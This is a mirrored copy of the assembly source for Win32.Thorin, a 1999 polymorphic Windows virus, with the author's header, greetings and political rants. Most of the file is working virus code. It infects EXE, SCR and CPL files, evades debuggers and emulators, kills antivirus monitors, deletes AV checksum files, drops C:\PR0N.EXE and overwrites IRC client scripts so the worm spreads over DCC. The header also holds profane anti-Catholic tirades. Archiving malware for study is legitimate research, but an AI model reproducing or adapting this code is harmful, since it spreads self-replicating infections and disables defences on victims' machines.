mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
7818 lines
238 KiB
NASM
7818 lines
238 KiB
NASM
; [Win32.Thorin] - PE/mIRC/PIRCH/ViRC97/resident/semi-stealth/poly/RDA, etc.
|
||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||
;
|
||
; ??» ??» ??» ???» ??» ??????» ??????»
|
||
; ??? ??? ??? ????» ??? ???????» ???????»
|
||
; ??? ?» ??? ??? ?????» ??? ??????? ???????
|
||
; ??????»??? ??? ??????»??? ??????» ???????
|
||
; ?????????? ??? ??? ?????? ???????? ???????» ??»
|
||
; ???????? ??? ??? ????? ??????? ???????? ???
|
||
; ????????» ??» ??» ??????» ??????» ??» ???» ??»
|
||
; ????????? ??? ??? ????????» ???????» ??? ????» ???
|
||
; ??? ???????? ??? ??? ???????? ??? ?????» ???
|
||
; ??? ???????? ??? ??? ???????» ??? ??????»???
|
||
; ??? ??? ??? ????????? ??? ??? ??? ??? ??????
|
||
; ??? ??? ??? ??????? ??? ??? ??? ??? ?????
|
||
;
|
||
; Virus Name : Thorin.11932 [ Bugfix version ]
|
||
; Virus Author : Billy Belcebu/iKX
|
||
; Origin : Spain
|
||
; Platform : Win32
|
||
; Target : PE files (EXE/SCR/CPL) & mIRC/PIRCH/ViRC97 spreading
|
||
; Poly : THME 1.0 [The Hobbit Mutation Engine]
|
||
; Unpack : LSCE 1.0 [Little Shitty Compression Engine]
|
||
; Compiling : TASM 5.0 and TLINK 5.0 should be used
|
||
; tasm32 /ml /m3 thorin,,;
|
||
; tlink32 /Tpe /aa /c /v thorin,thorin,,import32.lib,
|
||
; pewrsec thorin.exe
|
||
; Why 'Thorin'? : Heh, are you an incult guy? Heh, have you ever read the
|
||
; wonderful book of the wonderful author J. R. R. Tolkien,
|
||
; called "The Hobbit"? Ok, if you did it, you can realize
|
||
; that the most important dwarf is called in this way :) He
|
||
; died with honour, and he couldn't taste the victory and be
|
||
; the king, anyway thanks to him, the Middle-Earth was a much
|
||
; better world for years. Ain't it charming? ;)
|
||
; Features : Ok, here i will list all that this babe is able to do...
|
||
; ? Infect PE files in current, Windows, and System dirs.
|
||
; ? Runtime module, infects 4 files each time.
|
||
; ? Per-Process residency (Import Table & GetProcAddress).
|
||
; ? Infects EXE, SCR & CPL files.
|
||
; ? Anti-Debugging features (SEH & 'IsDebuggerPresent').
|
||
; ? Anti-Emulation features.
|
||
; ? Anti-Monitors, kills AVP Monitor and AMON.
|
||
; ? Polymorphic layer of decryption.
|
||
; ? RDA layer of decryption.
|
||
; ? Size Stealth (FindFirstFileA/FindNextFileA).
|
||
; ? Fast infection (depending of the host).
|
||
; ? Internet aware virus: mIRC, ViRC97 and PIRCH scripts.
|
||
; ? Traversal routine for search for the scripts (hi LJ!).
|
||
; ? Packed dropper, used LSCE 1.0.
|
||
; ? Really tiny unpacker.
|
||
; ? Multiple payloads (see below).
|
||
; ? Doesn't hardcode KERNEL32 base address.
|
||
; ? Doesn't hardcode API addresses (of course).
|
||
; ? Gets Image Base at running time.
|
||
; ? Removes many AV CRC files.
|
||
; ? Avoids infection of certain (dangerous for us) files.
|
||
; Payloads : Yes, this virus has multiple payloads (hi DuST!). Let's see
|
||
; a little overview of them (executed every 26 of October).
|
||
; 1. The biggest one, based in a trick that i learnt from
|
||
; mandragore's viruses, dropping a file as C:\WIN.COM, that
|
||
; gets executed by the system before of the file that should
|
||
; be, that is C:\WINDOWS\WIN.COM, thus bringing us the possi-
|
||
; bility of own the computer before windows :) Well, it cons-
|
||
; ists in a very little, simple and easy quiz that all ppl
|
||
; who had read "The Hobbit" once in his life would be able to
|
||
; pass without problems, and consists of 3 questions.
|
||
; 2. Sets the HD's name as 'THORIN'.
|
||
; 3. Due an idea that my friend Qozah gave me, it swaps the
|
||
; mouse buttons, thus making the user be stoned... All you
|
||
; clicked with the left button, now you'll have to click with
|
||
; the right one, and vice-versa.
|
||
; 4. The typical MessageBox with a silly message.
|
||
; 5. Launches user to Microsoft page, thus annoying him and
|
||
; make his little and ignorant mind to think that the awaited
|
||
; Micro$oft offensive over the earth has began. Well, ain't
|
||
; this one charming? ;)
|
||
; Internet : This virus is able to spread itself using the most used
|
||
; IRC programs over the world: mIRC, PIRCH and ViRC. Every
|
||
; infected system will have a little infected file in
|
||
; C:\PR0N.EXE. This file is sent to everyone that joins the
|
||
; channel where the user is chatting by DCC. Very simple and
|
||
; effective.
|
||
; Greetings : This virus is dedicated to many people... Firstly, to the
|
||
; iKX crew for trust in me, to the DDT past,present and futu-
|
||
; re crew for the friendship during the time, 29A ppl, FS ppl
|
||
; etc. Now, the personal greetings (w/ no particular order):
|
||
;
|
||
; SeptiC - Your 'Internet aware viruses' article rules!!!
|
||
; b0z0 - Hi, my favourite 'little' clown :)
|
||
; StarZer0 - no. no, no. no sex.
|
||
; Int13h - I'd like you come to Spain :)
|
||
; Murkry - I'm glad to be in a group with this genius.
|
||
; n0ph - I still don't have the pleasure of knowin' you...
|
||
; Somniun - Si tienes alguna duda de Win32, pregunta!! ;)
|
||
; Wintermute - RAMMSTEIN rules! You always have reason ;)
|
||
; Owl - You are very isolated from the world, pal :)
|
||
; Vecna - The best coder of everytime.
|
||
; Ypsilon - Nos vemos en septiembre! :)
|
||
; Bumblebee - Pues eso, a ver si tu vienes tambien...
|
||
; TechnoPhunk - Forget catholicism and be nihilist! ;)
|
||
; Qozah - I'd like to do a cooperation project with ya ;)
|
||
; Benny - Same with you :) Yer a reely impressive codah!
|
||
; Super - ?Como te va en Castellon?
|
||
; nIgr0 - Code viruses, not 'legal' thingies!
|
||
; MDriller - best p0lys without any kinda discussion...
|
||
; T-2000 - I share ur ideas 'bout religion: radical but true
|
||
; SlageHammer - I loved yer city! Milano rocks! Padania rocks!
|
||
; VirusBuster - I've seen "Love Struck Baby" video. SRV rlz ;)
|
||
; LordJulus - Keep on coding, but optimize more! ;)
|
||
;
|
||
; Also dedicated to all the Bards around!
|
||
;
|
||
; Thoughts : This is, nowadays, my best virus so far, over Iced Earth,
|
||
; Garaipena, and Nitro, all of them for Windoze. I needed to
|
||
; do at least a good virus, for feed my own ego (why lie?),
|
||
; and i think this is what really happened. But i won't stop
|
||
; there, there are many things yet to explore (and exploit)
|
||
; in 32 bit enviroments, there are many problems unsolved,
|
||
; and i will try to contribute with my humble code for all
|
||
; those purposes. Btw, i used, in my other viruses, to try to
|
||
; optimize , but in this virus i didn't. I mean, you won't
|
||
; see here OBVIOUS lacks of optimization, like CMP reg,-1 but
|
||
; i will use many times the same code in different procedures
|
||
; many strings, two droppers (one for IRC distribution, and
|
||
; other for one payload). This virus is big in its size, well
|
||
; not as Win32.Harrier, Win32.Libertine, WinNT.Remex, etc.,
|
||
; but it's a 'big' one, and i hope this will mean a 'good'
|
||
; one. Fuck, i've coded also a lot of payloads, none of them
|
||
; is destructive, but all are VERY annoying... The descripti-
|
||
; on is above, if you don't believe me.
|
||
; Well, now i'm gonna excuse myself, because while making
|
||
; this virus (based initially on my Win95.Iced Earth) i have
|
||
; noticed the great quantity of bugs that my Iced Earth virus
|
||
; had (believe me, more than 10 incredible bugs!), and i'm
|
||
; still wondering why all those escaped from my beta testing.
|
||
; Moreover, all those bugs only reflect my incompetence. With
|
||
; this virus i have made very serious tests, mainly because
|
||
; some delicated parts of the virus needed it to work perfec-
|
||
; ly (i.e. per-process residence). Maybe there will be also
|
||
; bugs, but now at least i know there are less :)
|
||
; My next steps will be the research in the fields of MMX
|
||
; polymorphism, some metamorphism, and i hope that my next
|
||
; virus will use EPO techniques, because i haven't experimen-
|
||
; ted yet with such a kewl thing.
|
||
; Politics : Benny doesn't like that i use to talk about politics, but i
|
||
; have put it there just for explain some things that could
|
||
; guide you to misunderstand my way of act. Everybody knows
|
||
; that i tend to Marxism, right? Well, but i'm not saying
|
||
; with this that i support Fidel Castro, Mao, and such like
|
||
; pseudo-communists (that tend to totalitarism). I think that
|
||
; everybody must have the same oportunities, and without any
|
||
; kind of discrimination. But as i am not a guy with an only
|
||
; idea, i support also (if there isn't any other choice) the
|
||
; democracy, but i prefer it to be a democracy as participa-
|
||
; tion and not as a procediment. Whom has studied some philo-
|
||
; sophy will know of what i am talking about: avoid the fi-
|
||
; erce and discriminatory capitalism. As i am tolerant, you
|
||
; can be againist my ideas, and i will accept it. So Benny,
|
||
; i'm not a totalitarian asshole, just the opposite, i'm just
|
||
; a young idealist :) Be free, enjoy life...
|
||
; Final note : Although it screwed me a lot, i haven't put data in the
|
||
; heap as i used to do because this virus is too big and the
|
||
; data used temporally is also too big, and it generated some
|
||
; protection faults... SHIT!!!!
|
||
;
|
||
; That is not dead
|
||
; which can eternal lie
|
||
; yet with strange aeons
|
||
; even death may die
|
||
;
|
||
; -H. P. Lovecraft-
|
||
;
|
||
; (c) 1999 Billy Belcebu/iKX
|
||
|
||
.586p
|
||
.model flat
|
||
.data
|
||
|
||
; 1st gen exported apis
|
||
|
||
extrn MessageBoxA:PROC
|
||
extrn ExitProcess:PROC
|
||
|
||
; Some useful equates
|
||
|
||
virus_size equ (offset virus_end-offset virus_start)
|
||
poly_virus_size equ (offset crypt_end-offset thorin)
|
||
shit_b4_delta equ (offset delta-offset virus_start)
|
||
encrypt_size equ (crypt_end-crypto)
|
||
non_crypt_size equ (virus_size-encrypt_size-rda_decryptor)
|
||
rda_decryptor equ (virus_end-crypt_end)
|
||
section_flags equ 00000020h or 20000000h or 80000000h
|
||
directory_attr equ 00000010h
|
||
temp_attributes equ 00000080h
|
||
drop_old_size equ 00011000d
|
||
n_Handles equ 50d
|
||
WFD_HndSize equ n_Handles*8
|
||
|
||
n_infections equ 04h
|
||
bad_number equ 09h
|
||
|
||
orig_size equ 044h
|
||
mark equ 04Ch
|
||
ddInfMark equ "NRHT"
|
||
|
||
kernel_ equ 0BFF70000h ; Only used if the K32 search
|
||
kernel_wNT equ 077F00000h ; fails...
|
||
|
||
imagebase_ equ 000400000h ; y0h0h0
|
||
|
||
; Interesting macros for my code
|
||
|
||
cmp_ macro reg,joff1 ; Optimized version of
|
||
inc reg ; CMP reg,0FFFFFFFFh
|
||
jz joff1 ; JZ joff1
|
||
dec reg ; The code is reduced in 3
|
||
endm ; bytes (7-4)
|
||
|
||
cmpz macro reg,joff2 ; Optimized version of
|
||
xchg reg,ecx ; CMP reg,00h
|
||
jecxz joff2 ; JZ joff2
|
||
endm ; Code reduced in 2 bytes
|
||
|
||
cmpz_ macro reg,joff3 ; Blah
|
||
or reg,reg
|
||
jz joff3
|
||
endm
|
||
|
||
apicall macro apioff ; Optimize muthafucka!
|
||
call dword ptr [ebp+apioff]
|
||
endm
|
||
|
||
rva2va macro reg,base ; Only for make preetiest the
|
||
add reg,[ebp+base] ; code ;)
|
||
endm
|
||
|
||
virussize macro
|
||
db virus_size/10000 mod 10 + "0"
|
||
db virus_size/01000 mod 10 + "0"
|
||
db virus_size/00100 mod 10 + "0"
|
||
db virus_size/00010 mod 10 + "0"
|
||
db virus_size/00001 mod 10 + "0"
|
||
endm
|
||
|
||
; Some shitty thingies in data section... 1st gen host messages
|
||
|
||
.data
|
||
|
||
szTitle db "[Win32.Thorin]",0
|
||
szMessage db "First Generation Sample",10
|
||
db "Virus Size : "
|
||
virussize
|
||
db " bytes"
|
||
db 10
|
||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||
|
||
; El ke mucho llora es porke no mama!
|
||
|
||
.code
|
||
|
||
; ===========================================================================
|
||
; Virus code
|
||
; ===========================================================================
|
||
; DU HAST MICH!!!
|
||
|
||
virus_start label byte
|
||
|
||
poly_layer db LIMIT dup (90h) ; Space for poly-decryptor
|
||
|
||
thorin:
|
||
pushad ; Push all da shit
|
||
pushfd
|
||
|
||
fwait ; Reset coprocessor
|
||
fninit
|
||
|
||
call kill_av ; Anti-emulation trick
|
||
|
||
mov esp,[esp+08h]
|
||
xor edx,edx
|
||
pop dword ptr fs:[edx]
|
||
pop edx
|
||
jmp over_trap
|
||
|
||
kill_av:
|
||
xor edx,edx
|
||
push dword ptr fs:[edx]
|
||
mov fs:[edx],esp
|
||
dec byte ptr [edx]
|
||
jmp over_rda
|
||
|
||
over_trap:
|
||
call delta ; Hardest code to undestand ;)
|
||
delta: pop ebp
|
||
mov eax,ebp
|
||
sub ebp,offset delta
|
||
|
||
sub eax,shit_b4_delta
|
||
sub eax,00001000h
|
||
NewEIP equ $-4
|
||
|
||
push eax ; Save it
|
||
or ebp,ebp ; Goddamn first gen...
|
||
jz over_rda
|
||
call rda_crypt
|
||
jmp over_rda
|
||
|
||
; ===========================================================================
|
||
; RDA Layer (Random Decryption Algorithm)
|
||
; ===========================================================================
|
||
; I have become a direct. I have become insurgent.
|
||
|
||
rda_crypt proc
|
||
xor ebx,ebx ; Clear counter
|
||
try_another_key:
|
||
call crypt ; Try to decrypt it
|
||
push ebx ; Save counter
|
||
lea esi,[ebp+crypto] ; Load address to crypt
|
||
mov edi,encrypt_size ; Size to crypt
|
||
call CRC32 ; Get its CRC32
|
||
pop ebx ; Restore counter
|
||
cmp eax,12345678h ; Actual CRC32=CRC32 unencrypted?
|
||
CRC equ $-4
|
||
jz rda_done ; Yeah, then we decrypted it
|
||
call crypt ; Nopes, fix it
|
||
inc ebx ; increase key
|
||
jmp try_another_key ; Try with another key
|
||
rda_done:
|
||
ret
|
||
rda_crypt endp
|
||
|
||
crypt proc ; This procedures simplifies
|
||
lea edi,[ebp+crypto] ; the task (and optimizes) of
|
||
mov ecx,encrypt_size ; encrypt with a determinated
|
||
rda_: xor byte ptr [edi],bl ; key
|
||
inc edi
|
||
loop rda_
|
||
ret
|
||
crypt endp
|
||
|
||
; Legalizar consimizion, no te konviene... se akaba el filon!
|
||
|
||
; ===========================================================================
|
||
; CRC32 calculator [by Vecna]
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Offset where code to calculate begins
|
||
; EDI = Size of that code
|
||
; output:
|
||
; EAX = CRC32 of given code
|
||
;
|
||
|
||
CRC32 proc
|
||
cld
|
||
push ebx
|
||
xor ecx,ecx ; Optimized by me - 2 bytes
|
||
dec ecx ; less
|
||
mov edx,ecx
|
||
NextByteCRC:
|
||
xor eax,eax
|
||
xor ebx,ebx
|
||
lodsb
|
||
xor al,cl
|
||
mov cl,ch
|
||
mov ch,dl
|
||
mov dl,dh
|
||
mov dh,8
|
||
NextBitCRC:
|
||
shr bx,1
|
||
rcr ax,1
|
||
jnc NoCRC
|
||
xor ax,08320h
|
||
xor bx,0EDB8h
|
||
NoCRC: dec dh
|
||
jnz NextBitCRC
|
||
xor ecx,eax
|
||
xor edx,ebx
|
||
dec edi ; Another fool byte less
|
||
jnz NextByteCRC
|
||
not edx
|
||
not ecx
|
||
pop ebx
|
||
mov eax,edx
|
||
rol eax,16
|
||
mov ax,cx
|
||
ret
|
||
CRC32 endp
|
||
|
||
crypto equ $
|
||
|
||
db " [IAIDA] " ; Little message to the pree-
|
||
; tiest girl over the earth.
|
||
; She deserves much more, i
|
||
; know... anyway... she's here!
|
||
|
||
; No penseis ke soy baboso, ein?!?!?!?!?!? :)
|
||
|
||
over_rda:
|
||
pop eax
|
||
mov dword ptr [ebp+ModBase],eax ; EAX = Image Base of module
|
||
|
||
|
||
call ChangeSEH ; SEH rlz.
|
||
mov esp,[esp+08h] ; Restore stack
|
||
jmp RestoreSEH
|
||
ChangeSEH:
|
||
xor ebx,ebx ; Joder, no joderemos...
|
||
push dword ptr fs:[ebx] ; pero JODER! las ganas ke
|
||
mov fs:[ebx],esp ; tenemos :)
|
||
|
||
and byte ptr [ebp+inNT],00h ; Make zero inNT variable
|
||
|
||
mov ecx,cs ; Check if we are under WinNT
|
||
xor cl,cl
|
||
jecxz WinNT ; ECX = 0 - WinNT;100 - Win9X
|
||
jmp shock
|
||
|
||
WinNT:
|
||
inc byte ptr [ebp+inNT] ; If NT, mark this
|
||
shock:
|
||
mov esi,[esp+2Ch] ; Get program return address
|
||
mov ecx,05d ; Max level
|
||
call GetK32
|
||
|
||
; I hate the catholicism... I HATE THE CATHOLICISM!!!! STOP HIPOCRISY!!!!!!!!
|
||
; STOP THOSE GODDAMN LIES!!! What is that? God helps us? Hahahahah!!! So, you
|
||
; stupid catholic asshole... why there are wars, genocides, etc? Why we, the
|
||
; human race, are as cruel with other humans, the nature, and everything that
|
||
; goes againist our own process to earn money? Open your eyes... i won't make
|
||
; you change using the power... just change yourself... it's your choice.
|
||
|
||
asakopako:
|
||
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
|
||
|
||
; This is the main branch of the virus
|
||
|
||
lea edi,[ebp+@@Offsetz]
|
||
lea esi,[ebp+@@Namez]
|
||
call GetAPIs ; Retrieve all APIs
|
||
|
||
call AntiDebugger ; Antidebug their arse
|
||
|
||
call PrepareInfection ; Set-up infection
|
||
|
||
call KillMonitors ; Kill AV monitors
|
||
|
||
call InfectItAll ; Infect dirs
|
||
|
||
call DropPR0N ; Unpack and drop PR0N.EXE
|
||
|
||
call TraversalSearch ; Search for scripts and dr0p
|
||
|
||
call HookAllAPIs ; Hook IT APIs
|
||
|
||
; Ok, we prepare to end the adventure...
|
||
|
||
push WFD_HndSize ; Hook some mem for WFD_Handles
|
||
push 00000000h ; structure
|
||
apicall _GlobalAlloc
|
||
mov dword ptr [ebp+WFD_HndInMem],eax
|
||
|
||
; Activate payload every 26th of October, a magical day.
|
||
|
||
lea eax,[ebp+SYSTEMTIME]
|
||
push eax
|
||
apicall _GetSystemTime
|
||
|
||
cmp word ptr [ebp+ST_wDay],31d
|
||
jnz continue_payload
|
||
jmp delete_key
|
||
|
||
continue_payload:
|
||
cmp word ptr [ebp+ST_wDay],26d
|
||
jnz no_payload
|
||
|
||
cmp word ptr [ebp+ST_wMonth],10d
|
||
jnz no_payload
|
||
|
||
call payload ; Well... payloads :)
|
||
|
||
no_payload:
|
||
xchg ebp,ecx ; 1st gen shit
|
||
jecxz fakehost_
|
||
|
||
RestoreSEH:
|
||
xor ebx,ebx ; Restore old SEH handler
|
||
pop dword ptr fs:[ebx]
|
||
pop eax
|
||
|
||
popfd ; Restore registers & flags
|
||
popad
|
||
|
||
mov ebx,12345678h ; Here goes program's EIP
|
||
org $-4
|
||
OldEIP dd 00001000h
|
||
|
||
add ebx,12345678h ; And here its base address
|
||
org $-4
|
||
ModBase dd imagebase_
|
||
|
||
push ebx ; We return control to host
|
||
ret
|
||
|
||
fakehost_:
|
||
jmp fakehost ; 1st gen shitz0r
|
||
|
||
; CATHOLICISM = FASCISM = SHIT
|
||
|
||
delete_key: ; This gets executed once
|
||
lea esi,[ebp+key_mIRC] ; each 2 months :)
|
||
call DelReg
|
||
lea esi,[ebp+key_PIRCH]
|
||
call DelReg
|
||
lea esi,[ebp+key_ViRC97]
|
||
call DelReg
|
||
jmp no_payload
|
||
|
||
; ===========================================================================
|
||
; Most important virus info :)
|
||
; ===========================================================================
|
||
|
||
vname label byte
|
||
db "[Win32.Thorin."
|
||
virussize
|
||
db " v1.00]",00h
|
||
copyr db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||
|
||
; ===========================================================================
|
||
; Obtain useful info that will be used in infection process
|
||
; ===========================================================================
|
||
|
||
PrepareInfection:
|
||
lea edi,[ebp+WindowsDir] ; Pointer to the variable
|
||
push 7Fh ; Size of dir variable
|
||
push edi ; Push it!
|
||
apicall _GetWindowsDirectoryA
|
||
|
||
add edi,7Fh ; Pointer to the variable
|
||
push 7Fh ; Size of dir variable
|
||
push edi ; Push it!
|
||
apicall _GetSystemDirectoryA
|
||
|
||
add edi,7Fh ; Pointer to the variable
|
||
push edi ; Size of dir variable
|
||
push 7Fh ; Push it!
|
||
apicall _GetCurrentDirectoryA
|
||
|
||
lea eax,[ebp+szUSER32] ; Get all needed APIs from
|
||
push eax ; the USER32.DLL library
|
||
apicall _LoadLibraryA
|
||
|
||
xchg eax,ebx
|
||
|
||
lea edi,[ebp+@@USER32_APIs] ; Pointer to API strings
|
||
lea esi,[ebp+@@USER32_Addresses] ; Pointer to API addresses
|
||
retrieve_user32_apis:
|
||
push edi ; Push pointer to string
|
||
push ebx ; Push USER32 base address
|
||
apicall _GetProcAddress
|
||
|
||
xchg edi,esi ; Store the address
|
||
stosd
|
||
xchg edi,esi
|
||
|
||
xor al,al ; Get the end of string
|
||
scasb
|
||
jnz $-1
|
||
|
||
cmp byte ptr [edi],"" ; I like girls...
|
||
jz all_user32_apis ; Is last api?
|
||
jmp retrieve_user32_apis
|
||
|
||
all_user32_apis:
|
||
lea eax,[ebp+szADVAPI32] ; Here we will get all needed
|
||
push eax ; APIs from ADVAPI32.DLL
|
||
apicall _LoadLibraryA
|
||
xchg eax,ebx
|
||
|
||
lea edi,[ebp+@@ADVAPI32_APIs] ; Pointer to API names
|
||
lea esi,[ebp+@@ADVAPI32_Addresses] ; Pointer to API addresses
|
||
retrieve_advapi32_apis:
|
||
push edi ; Push pointer to name
|
||
push ebx ; Push ADVAPI32 base address
|
||
apicall _GetProcAddress
|
||
|
||
xchg edi,esi ; Store API address
|
||
stosd
|
||
xchg edi,esi
|
||
|
||
xor al,al ; Get the end of API string
|
||
scasb
|
||
jnz $-1
|
||
|
||
cmp byte ptr [edi],"" ; I like music [:)~
|
||
jz all_advapi32_apis
|
||
jmp retrieve_advapi32_apis
|
||
|
||
all_advapi32_apis:
|
||
ret
|
||
|
||
; Heh, a greeting to the man (and the book!) that inspired this virus :)
|
||
|
||
db 0,"[The Hobbit (c) 1937 by J.R.R. Tolkien]",0
|
||
|
||
; ===========================================================================
|
||
; Infect current, Windows and System directories
|
||
; ===========================================================================
|
||
|
||
InfectItAll:
|
||
lea edi,[ebp+directories] ; Pointer to 1st directory
|
||
mov byte ptr [ebp+mirrormirror],dirs2inf ; Set up variable
|
||
requiem:
|
||
push edi ; Set as current dir the
|
||
apicall _SetCurrentDirectoryA ; dir to infect
|
||
|
||
call DeleteShit ; Delete AV CRC files
|
||
|
||
push edi
|
||
|
||
; Initialize this values for each directory processed
|
||
|
||
and byte ptr [ebp+CurrentExt],00h
|
||
lea esi,[ebp+EXTENSIONS]
|
||
lea edi,[ebp+EXTENSION]
|
||
|
||
infect_all_masks:
|
||
cmp byte ptr [ebp+CurrentExt],n_EXT
|
||
jae all_mask_infected
|
||
|
||
lodsd ; EAX = EXTENSION
|
||
mov [edi],eax ; No STOSD! We don't want EDI
|
||
; to change...
|
||
|
||
push edi esi
|
||
call Infect ; Infect some files
|
||
pop esi edi
|
||
|
||
inc byte ptr [ebp+CurrentExt]
|
||
jmp infect_all_masks
|
||
all_mask_infected:
|
||
pop edi
|
||
|
||
add edi,7Fh ; Get another directory
|
||
|
||
dec byte ptr [ebp+mirrormirror] ; Check if we infected all
|
||
cmp byte ptr [ebp+mirrormirror],00h ; available directories
|
||
jnz requiem
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Search MASK and infect found uninfected files
|
||
; ===========================================================================
|
||
|
||
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
|
||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
|
||
push eax
|
||
|
||
lea eax,[ebp+offset _MASK]
|
||
push eax
|
||
|
||
apicall _FindFirstFileA ; Get first file on directory
|
||
cmp_ eax,FailInfect ; Failed? Shit...
|
||
mov dword ptr [ebp+SearchHandle],eax
|
||
|
||
__1: lea edi,[ebp+WFD_szFileName]
|
||
call AvoidShitFiles
|
||
jc __2
|
||
|
||
push dword ptr [ebp+NewEIP]
|
||
push dword ptr [ebp+OldEIP]
|
||
push dword ptr [ebp+ModBase]
|
||
call Infection ; Infect file
|
||
pop dword ptr [ebp+ModBase]
|
||
pop dword ptr [ebp+OldEIP]
|
||
pop dword ptr [ebp+NewEIP]
|
||
jc __2
|
||
|
||
inc byte ptr [ebp+infections]
|
||
cmp byte ptr [ebp+infections],n_infections ; Did we infected them?
|
||
jae FailInfect ; Yeah... :)
|
||
|
||
__2: lea edi,[ebp+WFD_szFileName] ; Clear name field
|
||
mov ecx,MAX_PATH
|
||
xor al,al
|
||
rep stosb
|
||
|
||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Search for another file
|
||
push eax
|
||
push dword ptr [ebp+SearchHandle]
|
||
apicall _FindNextFileA
|
||
cmpz eax,CloseSearchHandle
|
||
jmp __1
|
||
|
||
CloseSearchHandle:
|
||
push dword ptr [ebp+SearchHandle] ; Close search handle
|
||
apicall _FindClose
|
||
FailInfect:
|
||
ret
|
||
|
||
db 0,"[Luthien is still alive in the world]",0
|
||
|
||
; ===========================================================================
|
||
; Traversal search for mIRC and PIRCH scripts (modified version of LJ's code)
|
||
; ===========================================================================
|
||
|
||
TraversalSearch:
|
||
lea esi,[ebp+tempcurdir] ; Get the current directory
|
||
push esi ; (We only want the current
|
||
push 7Fh ; drive)
|
||
apicall _GetCurrentDirectoryA
|
||
|
||
lodsb ; Get drive
|
||
|
||
mov byte ptr [ebp+root],al ; Put it in its variable
|
||
|
||
lea eax,[ebp+root] ; Reach the root directory
|
||
push eax ; of the current drive
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
Traversal:
|
||
lea esi,[ebp+key_mIRC] ; Already catched? Avoid
|
||
call RegExist ; this if so, as it needs many
|
||
jc nomoretosearch ; time, and the user could
|
||
lea esi,[ebp+key_PIRCH] ; notice our presence :)
|
||
call RegExist
|
||
jc nomoretosearch
|
||
lea esi,[ebp+key_ViRC97]
|
||
call RegExist
|
||
jc nomoretosearch
|
||
xor ebx,ebx ; Clear counter
|
||
|
||
findfirstdir:
|
||
lea edi,[ebp+_WIN32_FIND_DATA] ; Search for directories
|
||
push edi
|
||
lea eax,[ebp+ALL_MASK]
|
||
push eax
|
||
apicall _FindFirstFileA
|
||
cmp_ eax,notfoundfirstdir
|
||
|
||
mov dword ptr [ebp+TSHandle],eax
|
||
|
||
main_trav:
|
||
cmp dword ptr [ebp+_WFD_dwFileAttributes],directory_attr
|
||
jnz findnextdir
|
||
|
||
lea eax,[ebp+_WFD_szFileName]
|
||
cmp byte ptr [eax],"." ; Is dir "." or ".."?
|
||
jz findnextdir ; Shitz
|
||
|
||
push eax
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
pushad
|
||
call Worms ; Let's rock!
|
||
popad
|
||
|
||
push dword ptr [ebp+TSHandle] ; Save handle
|
||
inc ebx ; Increase counter :)
|
||
jmp findfirstdir
|
||
findnextdir:
|
||
push edi ; Search for another dir
|
||
push dword ptr [ebp+TSHandle]
|
||
apicall _FindNextFileA
|
||
cmpz eax,notfoundfirstdir
|
||
|
||
jmp main_trav
|
||
notfoundfirstdir:
|
||
lea eax,[ebp+dotdot] ; Go back 1 dir
|
||
push eax
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
or ebx,ebx ; Are we in root? yeah, it's
|
||
jz nomoretosearch ; over! our search finished!
|
||
|
||
dec ebx ; Decrease countah
|
||
pop dword ptr [ebp+TSHandle]
|
||
jmp findnextdir
|
||
|
||
notfoundnextdir:
|
||
push dword ptr [ebp+TSHandle]
|
||
apicall _FindClose
|
||
jmp notfoundfirstdir
|
||
|
||
nomoretosearch:
|
||
lea esi,[ebp+key_PIRCH] ; Mark all registry keys...
|
||
call PutReg
|
||
lea esi,[ebp+key_mIRC]
|
||
call PutReg
|
||
lea esi,[ebp+key_ViRC97]
|
||
call PutReg
|
||
|
||
lea esi,[ebp+tempcurdir] ; And put current directory
|
||
push esi ; back :)
|
||
apicall _SetCurrentDirectoryA
|
||
ret
|
||
|
||
db 0,"[Thorin,Dori,Nori,Ori,Balin,Dwalin,Fili,Kili,Oin,Gloin,"
|
||
db "Bifur,Bofur,Bombur]",0
|
||
|
||
; ===========================================================================
|
||
; Worms (mIRC & PIRCH) installer
|
||
; ===========================================================================
|
||
|
||
Worms:
|
||
call DeleteShit ; Delete AV CRCs from all dir
|
||
push 80h ; We test for the presence of
|
||
lea eax,[ebp+PirchWormFile] ; the scripts by setting a
|
||
push eax ; normal attribute to them.
|
||
apicall _SetFileAttributesA ; If the api returns us an
|
||
xchg eax,ecx ; error, then we know the
|
||
jecxz TryWithMIRC ; file doesn't exist :)
|
||
jmp BorrowPIRCH ; As in DOS! ;)
|
||
TryWithMIRC:
|
||
push 80h
|
||
lea eax,[ebp+mIRCWormFile]
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
xchg eax,ecx
|
||
jecxz TryWithViRC97
|
||
jmp BorrowMIRC
|
||
TryWithViRC97:
|
||
push 80h
|
||
lea eax,[ebp+ViRC97WormFile]
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
xchg eax,ecx
|
||
jecxz ExitWorms
|
||
jmp BorrowViRC97
|
||
ExitWorms:
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PIRCH script overwrite
|
||
; ===========================================================================
|
||
|
||
BorrowPIRCH: ; If file found, drop the
|
||
xor eax,eax ; new script file
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _PIRCH
|
||
|
||
PirchWormFile db "events.ini",0 ; What to overwrite
|
||
|
||
_PIRCH: apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h ; Overwrite with our script :)
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push PirchWormSize
|
||
lea ebx,[ebp+PirchWorm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,PirchWormSize ; And trunc the file, so there
|
||
call TruncFile ; won't be more shit ;)
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; mIRC script overwrite
|
||
; ===========================================================================
|
||
|
||
